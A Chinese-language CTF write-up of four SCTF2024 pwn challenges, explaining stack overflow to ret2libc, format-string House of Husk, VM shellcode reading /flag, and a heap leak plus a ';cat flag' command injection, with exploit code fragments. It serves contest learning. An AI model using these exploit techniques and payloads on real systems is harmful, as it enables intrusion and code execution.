XCTF分站赛SCTF2024Pwn方向题解
字数 1257 2025-08-20 18:17:53
XCTF SCTF2024 Pwn方向题解分析
factory题目分析
题目概述
题目实现了一个工厂管理系统,主要功能包括:
- 输入n值,使用alloca调整栈空间
- 将数据读取到栈上
- printf打印这些值的和
漏洞分析
关键漏洞点在于栈空间计算错误:
v0 = 0x10 * ((4 * n + 0x17) / 0x10uLL);
当n=0x28时:
- 正确计算应为alloca(0x140)
- 实际计算只有0xb0
导致栈溢出漏洞
利用思路
-
思路一:覆盖buf为任意地址实现任意地址写
- 无法控制返回地址,放弃此思路
-
思路二:
- 覆盖i的值,跳过对buf的覆盖
- 通过栈溢出覆盖返回地址
- 实现ret2libc攻击
利用步骤
- 发送n=0x28触发漏洞
- 覆盖i的值控制执行流
- 泄露libc地址
- 构造ROP链获取shell
EXP代码关键点
# 触发漏洞
p.sendlineafter("How many factorys do you want to build: ", str(0x28))
# 覆盖i的值
for i in range(0x16):
p.sendlineafter(f"factory {i+1} ", str(0x16))
p.sendlineafter(f"factory {0x17} ", str(0x1d-1))
# 构造ROP链泄露puts地址
pop_rdi = 0x401563
puts_got = 0x404018
p.sendlineafter(f"factory {30} ", str(pop_rdi))
p.sendlineafter(f"factory {31} ", str(puts_got))
p.sendlineafter(f"factory {32} ", str(elf.plt['puts']))
gocomplier题目分析
题目概述
- 用户输入代码被编译执行
- 限制:只能使用printf和write函数
- 静态链接、no-pie
漏洞利用
-
格式化字符串漏洞:
- 通过printf实现任意写
- 无法交互式泄露信息
-
House of Husk利用:
- 覆盖
__printf_function_table和__printf_arginfo_table - 执行
__printf_arginfo_table[spec]指向的函数
- 覆盖
-
ROP构造:
- 使用
add rsp, 0x1018; ret调整栈位置 - 最终执行system("/bin/sh")
- 使用
EXP关键点
// 覆盖printf_arginfo_table
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%18$hhn")
// 设置bss段上的add_rsp_ret地址
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%15$hhn")
// 最终ROP链
var pop_rdi int = 0x401fdf
var sh_addr int = 0x4c88d8
var pop_rsi int = 0x40a04e
var pop_rdx_rbx int = 0x4859cb
var pop_rax int = 0x40191a
var syscall int = 0x401d94
vmcode题目分析
虚拟机逆向
-
指令集分析:
- 0x21: call指令
- 0x22: ret指令
- 0x30: syscall指令
- 其他指令包括算术运算、栈操作等
-
执行流程:
- 从code段读取字节作为opcode
- 减去0x21后跳转到对应处理函数
利用思路
-
构造shellcode实现:
- open("/flag", 0)
- read(3, buf, 0x100)
- write(1, buf, 0x100)
-
关键技巧:
- 使用push_sp + shr + shl清空rsp低8位
- 不影响栈上原有数据
EXP构造
def call(offset):
return p8(0x21) + p16(offset)
def syscall():
return p8(0x30)
# open("/flag", 0)
payload = flat([
push_imm(0x67616c66), # "/flag"
push_sp(),
push_imm(0x0),
swap01(),
push_imm(0x2),
syscall(),
# read(3, buf, 0x100)
push_imm(0x100),
push_sp(), shr(), shl(),
push_imm(0x3),
push_imm(0x0),
syscall(),
])
c_or_go题目分析
题目功能
- 读取JSON格式输入
- 支持操作:
- 0: NewUser
- 1: ShowUser
- 2: DeleteUser
- -1: 特殊功能(后门)
漏洞利用
-
后门功能:
- 检查输入是否等于&puts地址
- 满足条件则执行命令
-
利用步骤:
- 通过malloc_consolidate泄露libc地址
- 计算puts地址
- 触发后门执行cat flag
EXP关键代码
# 触发malloc_consolidate
for i in range(9):
add_wrap(b"qaq", b"q"*0x30, 0x60)
for i in range(9):
delete_wrap(b"qaq")
# 泄露libc地址
add_wrap(b"qaq", b"q"*0x410, 0x30)
add_wrap(b"target", b"q", 0x60)
show_wrap(b"target")
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - 0x1ecc71
# 触发后门
p.sendlineafter("input your tasks", json.dumps(
[check(hex(libc.sym["puts"]).encode()+b"\x00", b";cat flag", 0x10)]
))
总结与技巧
-
栈溢出利用:
- 注意栈对齐和空间计算
- 考虑覆盖顺序对利用的影响
-
格式化字符串高级利用:
- 静态链接环境下考虑House of Husk
- 精确计算偏移和写入值
-
虚拟机题目:
- 耐心逆向指令集
- 构造符合虚拟机规范的shellcode
-
JSON交互题目:
- 优先分析字符串提示
- 注意base64编码的使用
-
通用技巧:
- 动态调试至关重要
- 合理使用ROPgadget等工具
- 注意内存布局和地址计算